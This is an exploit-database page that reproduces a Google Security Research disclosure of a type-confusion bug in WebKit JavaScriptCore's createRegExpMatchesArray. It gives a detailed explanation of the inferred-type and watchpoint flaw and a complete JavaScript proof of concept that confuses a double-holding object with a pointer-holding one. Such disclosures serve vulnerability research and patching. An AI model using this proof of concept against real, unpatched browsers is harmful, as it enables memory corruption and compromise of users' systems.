Menu

Improved exploit search engine. Try it out

"WebKit JavaScriptCore - 'createRegExpMatchesArray' Type Confusion"

Author

"Google Security Research"

Platform

multiple

Release date

2019-04-03

Release Date Title Type Platform Author
2019-04-19 "Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)" remote multiple Metasploit
2019-04-18 "LibreOffice < 6.0.7 / 6.1.3 - Macro Code Execution (Metasploit)" local multiple Metasploit
2019-04-18 "Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)" dos multiple "Fakhri Zulkifli"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in GlyphIterator::setCurrGlyphID" dos multiple "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in sc_FindExtrema4" dos multiple "Google Security Research"
2019-04-09 "Apache Axis 1.4 - Remote Code Execution" remote multiple "David Yesland"
2019-04-08 "QNAP Netatalk < 3.1.12 - Authentication Bypass" remote multiple muts
2019-04-03 "Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion" remote multiple "Google Security Research"
2019-04-03 "Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 - 'ReadableStream' Internal Object Leak Type Confusion" dos multiple "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.81 - 'V8TrustedTypePolicyOptions::ToImpl' Type Confusion" dos multiple "Google Security Research"
2019-04-03 "WebKitGTK+ - 'ThreadedCompositor' Race Condition" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - CodeBlock Dangling Watchpoints Use-After-Free" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - Out-Of-Bounds Access in FTL JIT due to LICM Moving Array Access Before the Bounds Check" dos multiple "Google Security Research"
2019-04-03 "iOS < 12.2 / macOS < 10.14.4 XNU - pidversion Increment During execve is Unsafe" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - 'createRegExpMatchesArray' Type Confusion" dos multiple "Google Security Research"
2019-04-03 "SpiderMonkey - IonMonkey Compiled Code Fails to Update Inferred Property Types (Type Confusion)" dos multiple "Google Security Research"
2019-03-28 "Oracle Weblogic Server Deserialization RCE - Raw Object (Metasploit)" remote multiple Metasploit
2019-03-26 "Spidermonkey - IonMonkey Type Inference is Incorrect for Constructors Entered via OSR" dos multiple "Google Security Research"
2019-03-26 "Firefox < 66.0.1 - 'Array.prototype.slice' Buffer Overflow" dos multiple xuechiyaobai
2019-03-25 "Apache CouchDB 2.3.1 - Cross-Site Request Forgery / Cross-Site Scripting" webapps multiple "Ozer Goker"
2019-03-21 "Rails 5.2.1 - Arbitrary File Content Disclosure" webapps multiple NotoriousRebel
2019-03-19 "Google Chrome < M73 - FileSystemOperationRunner Use-After-Free" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - MidiManagerWin Use-After-Free" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - Data Race in ExtensionsGuestViewMessageFilter" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - Double-Destruction Race in StoragePartitionService" dos multiple "Google Security Research"
2019-03-18 "BMC Patrol Agent - Privilege Escalation Code Execution Execution (Metasploit)" remote multiple Metasploit
2019-03-15 "NetData 1.13.0 - HTML Injection" webapps multiple s4vitar
2019-03-14 "Apache UNO / LibreOffice Version: 6.1.2 / OpenOffice 4.1.6 API - Remote Code Execution" remote multiple sud0woodo
2019-03-11 "Liferay CE Portal < 7.1.2 ga3 - Remote Command Execution (Metasploit)" webapps multiple AkkuS
2019-03-08 "OrientDB 3.0.17 GA Community Edition - Cross-Site Request Forgery / Cross-Site Scripting" webapps multiple "Ozer Goker"
Release Date Title Type Platform Author
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in GlyphIterator::setCurrGlyphID" dos multiple "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in sc_FindExtrema4" dos multiple "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV PostLuafvPostReadWrite SECTION_OBJECT_POINTERS Race Condition Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cache Manager Poisoning Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV NtSetCachedSigningLevel Device Guard Bypass" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV LuafvCopyShortName Arbitrary Short Name Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cross Process Handle Duplication Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization MAXIMUM_ACCESS DesiredAccess Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 / 1709 - CSRSS SxSSrv Cached Manifest Privilege Escalation" local windows "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion" remote multiple "Google Security Research"
2019-04-03 "Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 - 'ReadableStream' Internal Object Leak Type Confusion" dos multiple "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.81 - 'V8TrustedTypePolicyOptions::ToImpl' Type Confusion" dos multiple "Google Security Research"
2019-04-03 "WebKitGTK+ - 'ThreadedCompositor' Race Condition" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - CodeBlock Dangling Watchpoints Use-After-Free" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - Out-Of-Bounds Access in FTL JIT due to LICM Moving Array Access Before the Bounds Check" dos multiple "Google Security Research"
2019-04-03 "iOS < 12.2 / macOS < 10.14.4 XNU - pidversion Increment During execve is Unsafe" dos multiple "Google Security Research"
2019-04-03 "WebKit JavaScriptCore - 'createRegExpMatchesArray' Type Confusion" dos multiple "Google Security Research"
2019-04-03 "SpiderMonkey - IonMonkey Compiled Code Fails to Update Inferred Property Types (Type Confusion)" dos multiple "Google Security Research"
2019-03-28 "gnutls 3.6.6 - 'verify_crt()' Use-After-Free" dos linux "Google Security Research"
2019-03-26 "Spidermonkey - IonMonkey Type Inference is Incorrect for Constructors Entered via OSR" dos multiple "Google Security Research"
2019-03-25 "VMware Workstation 14.1.5 / VMware Player 15 - Host VMX Process COM Class Hijack Privilege Escalation" local windows "Google Security Research"
2019-03-25 "VMware Workstation 14.1.5 / VMware Player 15.0.2 - Host VMX Process Impersonation Hijack Privilege Escalation" local windows "Google Security Research"
2019-03-22 "snap - seccomp BBlacklist for TIOCSTI can be Circumvented" dos linux "Google Security Research"
2019-03-19 "Google Chrome < M73 - FileSystemOperationRunner Use-After-Free" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - MidiManagerWin Use-After-Free" dos multiple "Google Security Research"
2019-03-19 "Microsoft Edge - Flash click2play Bypass with CObjectElement::FinalCreateObject" dos windows "Google Security Research"
2019-03-19 "Microsoft VBScript - VbsErase Memory Corruption" dos windows "Google Security Research"
2019-03-19 "Microsoft Internet Explorer 11 - VBScript Execution Policy Bypass in MSHTML" dos windows "Google Security Research"
2019-03-19 "Google Chrome < M73 - Data Race in ExtensionsGuestViewMessageFilter" dos multiple "Google Security Research"
2019-03-19 "Google Chrome < M73 - Double-Destruction Race in StoragePartitionService" dos multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46647/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46647/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46647/41086/webkit-javascriptcore-createregexpmatchesarray-type-confusion/download/", "exploit_id": "46647", "exploit_description": "\"WebKit JavaScriptCore - 'createRegExpMatchesArray' Type Confusion\"", "exploit_date": "2019-04-03", "exploit_author": "\"Google Security Research\"", "exploit_type": "dos", "exploit_platform": "multiple", "exploit_port": null}
                                            

For full documentation follow the link above

Browse exploit DB API Browse

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
/*
Prerequisites
-------------

In JavaScriptCore, JSObjects have an associated Structure: an object describing various aspects of the JSObject such as its type, its properties, and the type of elements being stored (e.g. unboxed double or JSValues). Whenever a property is added to an object (or some other aspect of it is changed), a new structure is allocated which now also contains the new property. This "structure transition" is then cached so that the same structure can be reused for similar transitions in the future.

Arrays in JavaScriptCore can have different indexing modes: the contiguous modes (ArrayWithInt32, ArrayWithDouble, ArrayWithContiguous), and modes used for sparse arrays (ArrayWitArrayStorage, ArrayWithSlowPutArrayStorage). JavaScriptCore has a notion of "having a bad time" (JSGlobalObject::haveABadTime). This is the case when an object in the array prototype chain has indexed accessors. In that case, the indexing mode of all arrays is switched to ArrayWithSlowPutStorage, which indicates that element stores to holes have to consult the prototype chain. The engine will "have a bad time" as soon as an object in the default prototype chain of Arrays has an indexed accessor.

JavaScriptCore can track types of properties using the inferred type mechanism. Essentially, the first time a property is created, an inferred type for the property is installed and linked to the structure. The inferred type is based on the initial value of the property. For example: setting a property .x for the first time with a value of 42 would initialize the inferred type for .x to be "Int32". If the same property (on any Object referencing it) is assigned a new value, the inferred type for that property is "widened" to include all previous types and the new type. For example: if later on a double value is stored in property .x, the new inferred type for that property would be "Number". See InferredType::Descriptor::merge for the exact rules. Besides primitive types and "Object", inferred types can also be "ObjectWithStructure", in which case the property is known to be an object with a specific structure. The DFG and FTL JIT compilers make use of inferred types to omit type checks. Consider the following code:

    function foo(o) {
        return o.a.b;
    }

Assuming that the inferred type for the .a property is ObjectWithStructure, then the compiler is able to use the inferred type to omit the StructureCheck for o.a and will thus only emit a single StructureCheck for o.


Vulnerability Details
---------------------

The inferred type mechanism is secured via watchpoints: whenever a piece of JIT code relies on inferred types, it installs a callback (called Watchpoint) on the inferred type to trigger whenever it is widened. In that case the JIT code is discarded as it is no longer safe to execute. Code that updates a property value is then required to check whether the inferred type is still consistent with the new value and if not widen it and trigger Watchpoints. This is done e.g. in Structure::willStoreValueForExistingTransition. As such, every "direct" property store, one that does not update inferred types, could now be a security bug as it could violate inferred types. JSObject::putDirect is such an example:

    void putDirect(VM& vm, PropertyOffset offset, JSValue value) { locationForOffset(offset)->set(vm, this, value); }

The function directly stores the provided value to the given property slot without accounting for inferred types, which the caller is supposed to do. Looking for cross references to said function leads to createRegExpMatchesArray (used e.g. for %String.prototype.match) which in essence does:

    let array = newArrayWithStructure(regExpMatchesArrayWithGroupsStructure);
    array->putDirect(vm, RegExpMatchesArrayIndexPropertyOffset, index)
    array->putDirect(vm, RegExpMatchesArrayInputPropertyOffset, input)
    array->putDirect(vm, RegExpMatchesArrayGroupsPropertyOffset, groups)

As such, if it was possible to get the engine to set an inferred type for one of the three properties of the regExpMatchesArrayWithGroupsStructure structure, one could then invalidate the inferred type through %String.prototype.match without firing watchpoints. The regExpMatchesArrayWithGroupsStructure is created during initialization of the engine by following this pseudo code:

    let structure = arrayStructureForIndexingTypeDuringAllocation(ArrayWithContiguous);
    structure = Structure::addPropertyTransition(vm, structure, "index");
    structure = Structure::addPropertyTransition(vm, structure, "input");
    regExpMatchesArrayWithGroupsStructure = Structure::addPropertyTransition(vm, structure, "groups");

It is thus possible to manually construct an object having the regExpMatchesArrayWithGroupsStructure as structure like this:

    var a = ["a", "b", "c"];            // ArrayWithContiguous
    a.index = 42;
    a.input = "foo";
    a.groups = null;

Unfortunately, as the regExpMatchesArrayWithGroupsStructure is created at initialization time of the engine, no inferred type will be set for any of the properties as no property value is available for the initial structure transition.

However, regExpMatchesArrayWithGroupsStructure is re-created when the engine is having a bad time. In that case, all arrays will now use ArrayWithSlowPutArrayStorage mode. For that reason, a new structure for regExpMatchesArrayWithGroupsStructure is created as well which now uses ArrayWithSlowPutArrayStorage instead of ArrayWithContiguous as base structure. As such, if somehow it was possible to create the resulting regExpMatchesArrayWithGroupsStructure before the engine has a bad time, then inferred types could be installed on said structure. It is rather tricky to construct an array that has the default array prototype and uses ArrayWithSlowPutArrayStorage mode, as that mode is only used when a prototype has indexed accessors. However, it is possible using the following code:

    // Create a plain array with indexing type SlowPutArrayStorage. This is equivalent to
    // `arrayStructureForIndexingTypeDuringAllocation(ArrayWithSlowPutArrayStorage)` in C++.
    function createArrayWithSlowPutArrayStorage() {
        let protoWithIndexedAccessors = {};
        Object.defineProperty(protoWithIndexedAccessors, 1337, { get() { return 1337; } });

        // Compile a function that will end up creating an array with SlowPutArrayStorage.
        function helper(i) {
            // After JIT compilation, this new Array call will construct a normal array (with the
            // original Array prototype) with SlowPutArrayStorage due to profiling information from
            // previous executions (which all ended up transitioning to SlowPutArrayStorage).
            let a = new Array;
            if (i > 0) {
                // Convert the array to SlowPutArrayStorage by installing a prototype with indexed
                // accessors. We can't directly use this object though as the prototype is different and
                // thus the structure has changed.
                Object.setPrototypeOf(a, protoWithIndexedAccessors);
            }
            return a;
        }

        for (let i = 1; i < 10000; i++) {
            helper(i);
        }

        return helper(0);
    }

Once the helper function is JIT compiled, the profile information for the "new Array" operation will indicate that the resulting array will eventually use the ArrayWithSlowPutArrayStorage indexing mode. As such, the engine decides to directly allocate the object with ArrayWithSlowPutArrayStorage during `new Array` in the JIT code. By not going into the if branch it is possible to construct an array with SlowPutArrayStorage that never changed its prototype from the original array prototype (which causes a structure transition and as such cannot be used).

From here, it is possible to create the same structure that will later become regExpMatchesArrayWithGroupsStructure after having a bad time:

    let a = createArrayWithSlowPutArrayStorage();
    a.index = 1337;
    a.input = "foobar"
    a.groups = obj;

However, this time the engine will use inferred types for all properties since this is the first time the structure is created and all properties are initialized with values. With that, it is now possible to compile a function that uses these inferred types to omit type checks, such as:

    // Install a global property with inferred type of ObjectWithStructure.
    global = a;
    // Must assign twice, otherwise JIT assumes 'global' is a constant.
    global = a;

    function hax() {
        return global.groups.someProperty;
    }

This function will be compiled without any StructureCheck operations to perform runtime type checks as everything is based on inferred types.

Next, String.match is invoked to produce an object with the same structure but which now violates the inferred type due to createRegExpMatchesArray using putDirect for the property store. The resulting object can safely be assigned to the 'global' variable as it has the same structure as before. Afterwards, the compiled function can be invoked again to cause a type confusion when accessing .someProperty because the .groups property now has a different Structure than indicated by its inferred type.

To recap, the steps to achieve a type confusion between an object of type TX and an object of type TY, where both TX and TY can be arbitrarily chosen, are as follows:

1. Let X and Y be two objects with structures S1 and S2 respectively (corresponding to type TX and type TY).
2. Let O be an object with an out-of-line property whose value is X and inferred type thus TX. O will have structure S3.
3. Create an array with unmodified prototype chain and SlowPutArrayStorage as described above. It will have structure S4 (plain array with SlowPutStorage).
4. Add properties 'index', 'input', and 'groups' in that order to create structures S5, S6, and S7. Set the initial value of the 'groups' property to O so its inferred type will be ObjectWithStructure S3.
5. Have a bad time: install an indexed accessor on the array prototype. This will cause arrays to be converted and regExpMatchesArrayWithGroupsStructure to be recreated. However, since the structure transitions already exist, regExpMatchesArrayWithGroupsStructure will become structure S7. The inferred types for S7 will not change since no property values are assigned.
6. JIT compile a function that relies on the inferred type of the .groups property of structure S7 which is ObjectWithStructure S3.
7. Call String.prototype.match to create an object M with structure S8, which, however, violates the inferred types as createRegExpMatchesArray uses putDirect.
8. Set the first out-of-line property of M.groups to Y.
9. Call the JIT compiled function with M. As M has structure S7, the code will not bail out, then access the first out-of-line property of M.groups believing it to be type TX while it really is type TY now.

The attached PoC uses this to confuse an object with a double inline property with an object with a pointer inline property.
*/

// /System/Library/Frameworks/JavaScriptCore.framework/Resources/jsc poc.js
// The PoC will confuse objX with objY.
// objX will have structure S1, objY structure S2.
let objX = {objProperty: {fetchme: 1234}};
let objY = {doubleProperty: 2130562.5098039214};             // 0x4141414141414141 in memory

// Create a plain array with indexing type SlowPutArrayStorage. This is equivalent to
// `arrayStructureForIndexingTypeDuringAllocation(ArrayWithSlowPutArrayStorage)` in C++.
function createArrayWithSlowPutArrayStorage() {
    let protoWithIndexedAccessors = {};
    Object.defineProperty(protoWithIndexedAccessors, 1337, { get() { return 1337; } });

    // Compile a function that will end up creating an array with SlowPutArrayStorage.
    function helper(i) {
        // After JIT compilation, this new Array call will construct a normal array (with the
        // original Array prototype) with SlowPutArrayStorage due to profiling information from
        // previous executions (which all ended up transitioning to SlowPutArrayStorage).
        let a = new Array;
        if (i > 0) {
            // Convert the array to SlowPutArrayStorage by installing a prototype with indexed
            // accessors. This object can, however, not be used directly as the prototype is
            // different and thus the structure has changed.
            Object.setPrototypeOf(a, protoWithIndexedAccessors);
        }
        return a;
    }

    for (let i = 1; i < 10000; i++) {
        helper(i);
    }

    return helper(0);
}

// Helper object using inferred types.
let obj = {};
obj.inlineProperty1 = 1337;
obj.inlineProperty2 = 1338;
obj.oolProperty1 = objX;        // Inferred type of 'oolProperty1' will be ObjectWithStructure S1.
// 'obj' now has structure S3.

// Create the same structure (S4) that will later (when having a bad time) be used as
// regExpMatchesArrayWithGroupsStructure. Since property values are assigned during the initial
// structure transition, inferred types for all property values are created.
let a = createArrayWithSlowPutArrayStorage();       // a has Structure S4,
a.index = 42;                                       // S5,
a.input = "foobar";                                 // S6,
a.groups = obj;                                     // and S7.
// The inferred type for the .groups property will be ObjectWithStructure S3.

// Inferred type for this property will be ObjectWithStructure S7.
global = a;

// Must assign twice so the JIT uses the inferred type instead of assuming that
// the property is constant and installing a replacement watchpoint to
// deoptimize whenever the property is replaced.
global = a;

// Have a bad time. This will attempt to recreate the global regExpMatchesArrayWithGroupsStructure
// (to use an array with SlowPutArrayStorage), but since the same structure transitions were
// performed before, it will actually reuse the existing structure S7. As no property values are
// assigned, all inferred types for structure S7 will still be valid.
Object.defineProperty(Array.prototype, 1337, { get() { return 1337; } });

// Compile a function that uses the inferred value of 'global' to omit type checks.
function hax() {
    return global.groups.oolProperty1.objProperty.fetchme;
}

for (let i = 0; i < 10000; i++) {
    hax(i);
}

// Create an ObjectWithStructure S7 which violates the inferred type of .groups (and potentially
// other properties) due to createRegExpMatchesArray using putDirect.
let match = "hax".match(/(?<oolProperty1>hax)/);

// match.groups has structure S8 and so assignments to it won't invalidate inferred types of S7.
match.groups.oolProperty1 = objY;       // This property overlaps with oolProperty1 of structure S3.

// The inferred type for 'global' is ObjectWithStructure S4 so watchpoints will not be fired.
global = match;

// Trigger the type confusion.
hax();